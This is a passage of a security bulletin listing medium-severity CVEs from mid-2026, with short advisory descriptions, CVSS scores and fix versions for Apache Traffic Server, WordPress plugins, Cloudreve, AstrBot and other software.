| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server reads out of bounds while parsing DNS answers. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                         | 2026-07-29 | 6.5        | <a href="#">CVE-2026-58160</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server copies the client Host header into a fixed-size stack buffer without a bound during redirect handling, so an over-long Host header overflows the stack when redirect following is enabled. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                             | 2026-07-29 | 5.9        | <a href="#">CVE-2026-33930</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server mishandles integers while decoding HPACK/XPACK headers, corrupting memory. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                             | 2026-07-29 | 5.9        | <a href="#">CVE-2026-58152</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server mishandles PROXY protocol input, truncating ports and overflowing the stack. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                           | 2026-07-29 | 5.9        | <a href="#">CVE-2026-58158</a> |
| Apache Software Foundation--Apache Traffic Server | The Apache Traffic Server prefetch plugin can crash when processing attacker-influenced input. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                               | 2026-07-29 | 5.9        | <a href="#">CVE-2026-58183</a> |
| Apache Software Foundation--Apache Traffic Server | The Apache Traffic Server intercept plugin has a use-after-free. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                             | 2026-07-29 | 5.9        | <a href="#">CVE-2026-58185</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server mis-parses ports in URLs and userinfo, allowing port-based access-control bypass. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                      | 2026-07-29 | 4.9        | <a href="#">CVE-2026-58156</a> |
| Apache Software Foundation--Apache Traffic Server | Apache Traffic Server updates the HTTP/2 HPACK dynamic table before confirming the header block encoded successfully, so an encode failure leaves the encoder out of sync with the peer decoder and corrupts subsequent header blocks on the connection. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                     | 2026-07-29 | 4.8        | <a href="#">CVE-2026-65100</a> |



# Medium Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Apache Software Foundation--<br>Apache Traffic Server | Apache Traffic Server reuses multiplexed HTTP/2 origin connections without verifying the server certificate covers the new request hostname. This issue affects Apache Traffic Server: from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                                                                                                | 2026-07-29 | 4.8        | <a href="#">CVE-2026-65325</a> |
| ArcadeData--<br>arcadedb                              | ArcadeDB before 26.7.2 fails to enforce the UPDATE_SCHEMA database permission on the ALTER TYPE ... CUSTOM and ALTER TYPE ... BUCKETSELECTIONSTRATEGY SQL operations, which map to setCustomValue and setBucketSelectionStrategy in LocalDocumentType. An authenticated user with only read access (e.g., a read-only API token) can submit these ALTER TYPE statements via the HTTP command endpoint to mutate a type's custom schema metadata and bucket-selection strategy, bypassing the documented updateSchema permission boundary and potentially corrupting schema metadata and record routing.                         | 2026-08-01 | 4.3        | <a href="#">CVE-2026-67344</a> |
| ArnasDon--<br>wacrm                                   | WACRM is a self-hostable CRM template for WhatsApp. In 0.7.0 and earlier, the automation send_webhook action in src/lib/automations/engine.ts and its validation in src/lib/automations/validate.ts allowed an authenticated user with automation privileges to submit an arbitrary webhook URL that the server fetched without the existing isDeliverableUrl SSRF guard in src/lib/webhooks/ssrf.ts, allowing requests to private, loopback, link-local, or cloud metadata addresses such as the cloud metadata endpoint at 169.254.169.254. This vulnerability is fixed with commit 23838a9959550e975d732ae08a44a3a2f0cc084b. | 2026-07-30 | 6.4        | <a href="#">CVE-2026-67530</a> |
| arnog--<br>mathlive                                   | MathLive provides web components for math display and input. Prior to 0.110.0, MathLive fails to escape text-mode content in \text{} and \mbox{} commands in Box.toMarkup at src/core/box.ts, in xmlEscape, scanText, and text-mode output in src/formats/atom-to-math-ml.ts, and through convertLatexToMarkup, convertLatexToMathML, <math-span>, <math-div>, and the default identity MathfieldElement.createHTML, allowing malicious input to run arbitrary JavaScript when rendered. This issue is fixed in version 0.110.0.                                                                                                | 2026-07-29 | 6.3        | <a href="#">CVE-2026-54705</a> |
| AstrBotDevs--<br>AstrBot                              | A vulnerability was identified in AstrBotDevs AstrBot up to 4.25.5. Affected is an unknown function of the file astrbot/core/astr_main_agent.py. The manipulation of the argument req.func_tool leads to incorrect authorization. The attack may be initiated remotely. The exploit is publicly available and might be used. The identifier of the patch is d23011262e8e75e1ec41b0f1f0091493a022327e. It is suggested to install a patch to address this issue.                                                                                                                                                                 | 2026-07-27 | 6.3        | <a href="#">CVE-2026-17529</a> |
| AstrBotDevs--<br>AstrBot                              | A security flaw has been discovered in AstrBotDevs AstrBot up to 4.25.5. Affected by this vulnerability is the function _build_handoff_toolset of the file AstrBot/astrbot/core/astr_agent_tool_exec.py of the component Subagent. The manipulation results in incorrect authorization. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The patch is identified as d23011262e8e75e1ec41b0f1f0091493a022327e. A patch should be applied to remediate this issue.                                                                                                   | 2026-07-27 | 6.3        | <a href="#">CVE-2026-17530</a> |
| Autodesk--<br>AutoCAD                                 | A maliciously crafted DWG or DXF file, when parsed through Autodesk AutoCAD, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash or disclose sensitive information.                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 6.1        | <a href="#">CVE-2026-16465</a> |
| Autodesk--<br>AutoCAD                                 | A maliciously crafted DWG or DXF file, when parsed through Autodesk AutoCAD, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash or disclose sensitive information.                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 5.5        | <a href="#">CVE-2026-17550</a> |
| azukaar--<br>Cosmos-Server                            | Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. In 0.22.18, `GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty Authorization header. The handler strips the string Bearer from the header but never validates the resulting token and never uses it in the database query. This vulnerability is fixed in 0.22.19.                                                                                                                                     | 2026-07-28 | 5.3        | <a href="#">CVE-2026-49447</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| better-auth--better-auth                                                               | better-auth versions before 1.4.9 contain a two-factor authentication bypass vulnerability when session.cookieCache is enabled. Attackers with valid primary credentials can access authenticated routes without completing second-factor verification by exploiting premature session caching.                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-08-01 | 6.5        | <a href="#">CVE-2026-67337</a> |
| better-auth--better-auth                                                               | better-auth (npm) before 1.4.2 allows an external request to configure baseURL when it is not otherwise defined (e.g., BETTER_AUTH_URL is unset). An attacker able to make the very first request to the server after startup can poison the router's base path, causing all routes to return 404 for all users (denial of service). The issue is not reachable when baseURL is explicitly configured or on typical managed hosting platforms.                                                                                                                                                                                                                                                                                            | 2026-08-02 | 5.9        | <a href="#">CVE-2025-71401</a> |
| better-auth--better-auth                                                               | better-auth versions before 1.6.2 fail to validate the OAuth state parameter against the stored nonce when using cookie-backed state storage without PKCE. Attackers can forge the state parameter and supply an attacker-controlled authorization code to create authenticated sessions bound to the attacker's external identity or persistently link attacker accounts to victim profiles.                                                                                                                                                                                                                                                                                                                                             | 2026-08-01 | 5.3        | <a href="#">CVE-2026-67335</a> |
| better-auth--oauth-provider                                                            | @better-auth/oauth-provider before 1.7.0-beta.4 fails to bind access-token audience to the authorization grant, allowing clients to request tokens for unrelated resources. Attackers can complete an OAuth flow and obtain access tokens whose audience targets resource servers the authorization never covered, bypassing intended authorization boundaries.                                                                                                                                                                                                                                                                                                                                                                           | 2026-08-01 | 6.4        | <a href="#">CVE-2026-67332</a> |
| blendmedia--WP CTA Call Now Button, Sticky Button & Call to Action Builder             | The WP CTA plugin for WordPress is vulnerable to Server-Side Request Forgery via the 'sticky_s_media' parameter in imported JSON files in all versions up to, and including, 2.1.2. This is due to the import_sidebars() function passing user-supplied URLs from imported JSON data to file_get_contents() with only FILTER_VALIDATE_URL validation (which allows internal IPs). This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services. The response content is saved as a WordPress media attachment, making this a full-read SSRF. | 2026-07-29 | 4.9        | <a href="#">CVE-2026-6089</a>  |
| bplugins--Survey Form Block collect answers and insights from your audience            | The Survey Form Block plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_all_data() function in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export all survey submission data and column metadata.                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 4.3        | <a href="#">CVE-2026-5626</a>  |
| brainstormforce--SureForms Contact Form Builder, AI Forms, Payment Form, Survey & Quiz | The SureForms - Contact Form, Payment Form & Other Custom Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'headingWrapper' parameter in all versions up to, and including, 2.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                    | 2026-08-01 | 6.4        | <a href="#">CVE-2026-7623</a>  |
| brightio--penelope                                                                     | Penelope Shell Handler is a post-exploitation shell handler for authorized security testing. Prior to 0.20.0, the Unix download() implementation in penelope.py used tar.extractall(local_download_folder) on tar archives returned by remote sessions without validating member paths, allowing a malicious or compromised session to write files outside the intended download directory and potentially overwrite ~/.penelope/peneloperc. This issue is fixed in version 0.20.0.                                                                                                                                                                                                                                                       | 2026-07-29 | 5.9        | <a href="#">CVE-2026-50558</a> |
| Budibase--budibase                                                                     | Budibase before 3.38.1 contains a server-side request forgery vulnerability in the REST datasource integration that fails to validate HTTP redirects against the IP blacklist. Attackers with Builder role can configure a REST datasource pointing to an external server that returns a redirect to internal IP addresses, bypassing blacklist protection to access cloud metadata endpoints and internal services.                                                                                                                                                                                                                                                                                                                      | 2026-08-01 | 6.8        | <a href="#">CVE-2026-67311</a> |
| Chaty--Chaty Pro                                                                       | The Chaty Pro plugin for WordPress is vulnerable to Authenticated Time-Based Blind SQL Injection in versions up to and including 3.5.5. This is due to the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-28 | 6.5        | <a href="#">CVE-2026-6251</a>  |

# Medium Vulnerabilities

| Primary Vendor -- Product                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                      | fetch_custom_field() function in admin/class-admin-base.php retrieving the widget_id POST parameter via filter_input(INPUT_POST, ...) and directly concatenating the value into a raw SQL query in a numeric context without using \$wpdb->prepare() or any integer casting. Additionally, the nonce verification check is performed after the SQL query has already executed, providing no protection against the injection. This makes it possible for authenticated attackers with subscriber-level access and above to inject arbitrary SQL commands, potentially leading to unauthorized extraction of sensitive database contents including user credentials and configuration data.                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| chrisvrichardson--MapPress Maps for WordPress        | Unauthenticated Sensitive Data Exposure in MapPress Maps for WordPress <= 2.97.6 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 5.3        | <a href="#">CVE-2026-65564</a> |
| Cisco--Cisco Secure Firewall Management Center (FMC) | A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems. This vulnerability is due to the presence of static user credentials for a low-privileged account. An attacker could exploit this vulnerability by using the account to log in to an affected system. A successful exploit could allow the attacker to log in to the affected system and access sensitive data as the low-privileged user. Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced. Cisco has assigned this security advisory a Security Impact Rating (SIR) of High rather than Medium as the score indicates. The reason is that this vulnerability can be used with other Cisco Secure FMC Software vulnerabilities to elevate privileges. | 2026-07-29 | 5.3        | <a href="#">CVE-2026-20316</a> |
| clastix--kamaji                                      | Kamaji is the Hosted Control Plane Manager for Kubernetes. Prior to 26.7.4-edge, the PostgreSQL and MySQL datastore drivers build DDL statements by interpolating the user-supplied DataStoreUsername/DataStoreSchema directly into SQL via fmt.Sprintf, without escaping identifiers. These fields have no format validation, so a value containing a quote character breaks out of the quoted identifier - SQL injection executed over Kamaji's root connection to the shared datastore. etcd driver is not affected. This issue is fixed in version 26.7.4-edge.                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 4.7        | <a href="#">CVE-2026-62845</a> |
| cloudreve--cloudreve                                 | Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the built-in thumbnail and avatar image decoders limit compressed file size but do not limit decoded pixel dimensions, allowing an authenticated user to submit a small PNG, JPEG, or GIF that triggers an unbounded allocation and terminates the Cloudreve process through fatal out-of-memory behavior. This issue is fixed in version 4.17.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-31 | 6.5        | <a href="#">CVE-2026-55497</a> |
| cloudreve--cloudreve                                 | Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-31 | 6.3        | <a href="#">CVE-2026-62323</a> |
| cloudreve--cloudreve                                 | Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the WOPI PUT_RELATIVE handler passes X-WOPI-SuggestedTarget to URI.JoinRaw as a path rather than a filename, allowing slash and dot-dot segments to escape the source file directory and create or conditionally overwrite files elsewhere in the same owner account. This issue is fixed in version 4.17.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-31 | 4.3        | <a href="#">CVE-2026-55495</a> |
| cloudreve--cloudreve                                 | Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, GET /api/v4/user/search calls SearchActive without adding a StatusActive predicate and serializes matches at RedactLevelUser, allowing any logged-in user to enumerate email addresses and profile metadata for inactive or banned accounts. The service calls userClient.SearchActive, but despite its name that method filters only by email/nickname keyword and never adds a StatusActive predicate - while                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-31 | 4.3        | <a href="#">CVE-2026-55496</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                        | the sibling lookups GetActiveByID and GetActiveByDavAccount, defined a few lines above it, do. Search hits are serialized at RedactLevelUser, which includes the email address. This issue is fixed in version 4.17.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| cloudreve--cloudreve                                   | Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, a single-file share event-stream subscription resolves the share root to the owner's parent folder and subscribes to that folder topic, allowing an authenticated share recipient to receive names, paths, rename targets, event types, and hashed identifiers for unshared sibling files and folders. This issue is fixed in version 4.17.0.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-31 | 4.3        | <a href="#">CVE-2026-55499</a> |
| codeigniter4--CodeIgniter4                             | CodeIgniter is a PHP full-stack web framework. In versions prior to 4.7.4, IncomingRequest::isSecure() trusted the X-Forwarded-Proto and Front-End-Https headers from any incoming request, allowing an attacker could spoof these headers and cause the application to incorrectly treat an HTTP request as secure. This may have impacted applications that rely on isSecure(), force_https(), forceGlobalSecureRequests, or similar logic to enforce HTTPS-only access or make security-sensitive decisions. Exploitability depends on deployment configuration. Applications are most exposed if the backend is reachable directly over HTTP, or if a reverse proxy/load balancer forwards client-supplied forwarding headers without stripping or overwriting them. This issue has been fixed in version 4.7.4. | 2026-07-31 | 4.8        | <a href="#">CVE-2026-63220</a> |
| codename065--Download Manager                          | The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'icon' Shortcode Attribute in all versions up to, and including, 3.3.66 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. wp_kses_post() does not neutralize the payload because it operates on post content at save time and does not process shortcode attribute values that are emitted unescaped at render time.                                                                                                                                                                                         | 2026-08-01 | 6.4        | <a href="#">CVE-2026-16685</a> |
| codesupplyco--Powerkit Supercharge your WordPress Site | The Powerkit - Supercharge your WordPress Site plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'style' Shortcode Attribute in all versions up to, and including, 3.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                          | 2026-08-01 | 6.4        | <a href="#">CVE-2026-15644</a> |
| codesupplyco--Powerkit Supercharge your WordPress Site | The Powerkit - Supercharge your WordPress Site plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'nav' Shortcode Attribute in all versions up to, and including, 3.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                            | 2026-08-01 | 6.4        | <a href="#">CVE-2026-15645</a> |
| codesupplyco--Powerkit Supercharge your WordPress Site | The Powerkit - Supercharge your WordPress Site plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 3.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                 | 2026-08-01 | 6.4        | <a href="#">CVE-2026-15649</a> |
| CODESYS--CODESYS PROFINET                              | An out of bounds write vulnerability in the CODESYS PROFINET Controller allows an unauthenticated attacker on the same network segment to send malformed PROFINET communication data that triggers an exception in the affected PLC application. The exception is handled by the CODESYS Control runtime system and results in a controlled stop of the PLC application.                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-29 | 6.5        | <a href="#">CVE-2026-35226</a> |
| contrid--Newsletters                                   | The Newsletters Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'target' attribute of the [newsletters_post] shortcode in versions up to and including 4.15. This is due to insufficient input sanitization and output escaping in the posts_single() function which propagates the attacker-controlled                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 6.4        | <a href="#">CVE-2026-12938</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                           | 'target' attribute into the global \$wpml_target, and in the shortcode_posts() 'post_thumbnail' handler which concatenates \$wpml_target into a target="..." HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| contrid--Newsletters                                                                                      | The Newsletters Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' attribute of the post_thumbnail (and newsletters_post_thumbnail) shortcodes in versions up to and including 4.15. This is due to insufficient input sanitization and output escaping in the post_thumbnail() method in helpers/shortcode.php, which concatenates the user-controlled \$link shortcode attribute directly into an href attribute without esc_url() or esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                | 2026-07-29 | 6.4        | <a href="#">CVE-2026-12939</a> |
| cozythemes--Cozy Blocks Page Builder for Gutenberg Editor & FSE with 600+ Patterns, 58 Blocks & Templates | The Cozy Blocks - Page Builder for Gutenberg Editor & FSE with 600+ Patterns, 58 Blocks & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'postMeta.font.size' Block Attribute in all versions up to, and including, 2.2.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                               | 2026-07-28 | 6.4        | <a href="#">CVE-2026-15393</a> |
| cozythemes--Cozy Blocks Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates | The Cozy Blocks - Page Builder for Gutenberg Editor & FSE with 600+ Patterns, 58 Blocks & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'layoutCircle.alignment' Block Attribute in all versions up to, and including, 2.2.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                           | 2026-08-01 | 6.4        | <a href="#">CVE-2026-15950</a> |
| cozyvision1--SMS Alert SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery           | The SMS Alert - SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 3.9.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                             | 2026-07-28 | 4.9        | <a href="#">CVE-2026-15670</a> |
| cozyvision1--SMS Alert SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery           | The SMS Alert - SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to generic SQL Injection via the 'id' parameter in all versions up to, and including, 3.9.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                     | 2026-07-28 | 4.9        | <a href="#">CVE-2026-15671</a> |
| cozyvision1--SMS Alert SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery           | The SMS Alert - SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to generic SQL Injection via 'checkout_payment_plans' and 'order_status' Settings in all versions up to, and including, 3.9.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order SQL injection: the malicious payload is stored in the 'checkout_payment_plans' and 'order_status' settings via update_option() and executed later when the | 2026-07-28 | 4.4        | <a href="#">CVE-2026-15673</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                 | cod_to_prepaid_cart_notification_sendsms_hook WP-Cron event fires SA_CodTOPrepaid::sendSms().                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| Creativeitem--<br>Ekushey Project Manager CRM   | Ekushey Project Manager CRM through version 5.0 contains a missing uniqueness constraint vulnerability that allows authenticated administrators to create duplicate client accounts with identical email and password credentials. Attackers can exploit the lack of email field uniqueness enforcement to create conflicting account states where multiple accounts share the same email address with different passwords, resulting in unpredictable authentication behavior and unauthorized account access.                                                                                                                                                                                                                                                                                       | 2026-07-27 | 6.7        | <a href="#">CVE-2026-66028</a> |
| Creativeitem--<br>Ekushey Project Manager CRM   | Ekushey Project Manager CRM through version 5.0 contains a stored cross-site scripting vulnerability that allows authenticated client users to inject arbitrary HTML and JavaScript by entering malicious payloads into the client Name field on the Edit Profile page without sanitization. Attackers can craft and store malicious scripts that execute in the browser sessions of Staff or Administrator users who view the Manage Clients or Manage Client Projects pages where client names are rendered unsanitized.                                                                                                                                                                                                                                                                            | 2026-07-27 | 5.4        | <a href="#">CVE-2026-66029</a> |
| Creativeitem--<br>Ekushey Project Manager CRM   | Ekushey Project Manager CRM through version 5.0 contains a stored cross-site scripting vulnerability that allows authenticated client users to inject arbitrary HTML and JavaScript by entering malicious payloads into the Ticket Title field on the Create New Ticket page. Attackers can craft and store malicious scripts that execute in the browser sessions of Staff or Administrator users who view the Client Support page where ticket titles are rendered unsanitized.                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 5.4        | <a href="#">CVE-2026-66030</a> |
| Creativeitem--<br>Ekushey Project Manager CRM   | Ekushey Project Manager CRM through version 5.0 contains a stored cross-site scripting vulnerability that allows authenticated client users to inject arbitrary HTML and JavaScript by entering malicious payloads into the Reply Ticket field. Attackers can craft and store malicious scripts that execute in the browser sessions of Staff or Administrator users who view the Support Ticket detail page.                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 5.4        | <a href="#">CVE-2026-66031</a> |
| CSL Mobile Limited--CSL 1010 M2M 3G WiFi Module | CSL 1010 M2M 3G WiFi Module firmware through 2.2.1.4 contains a weak encryption vulnerability that allows unauthenticated attackers to recover all stored secrets in plaintext by reversing a single-byte XOR cipher that uses a static key to obfuscate the configuration backup file. Attackers can trivially decrypt the Router.cfg backup file to expose web administration and telnet passwords, WPA/WPA2 pre-shared keys, PPPoE and 3G/APN credentials, and SIM identifiers including IMSI and IMEI.                                                                                                                                                                                                                                                                                            | 2026-07-30 | 6.2        | <a href="#">CVE-2026-67596</a> |
| cubewp1211--<br>CubeWP Framework                | The CubeWP Framework plugin for WordPress is vulnerable to SQL Injection in all versions up to and including 1.1.30. This is due to insufficient input sanitization in the cubewp_remove_relation() AJAX function, specifically the use of wp_unslash() on the relation_id parameter before interpolating it directly into a raw SQL query without using \$wpdb->prepare(). The wp_unslash() call explicitly removes the backslash escaping that WordPress's wp_magic_quotes() adds to all \$_POST data, neutralizing the only layer of SQL injection protection. The sanitize_text_field() function applied afterward offers no SQL protection. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries to the existing query.  | 2026-08-01 | 6.5        | <a href="#">CVE-2026-6453</a>  |
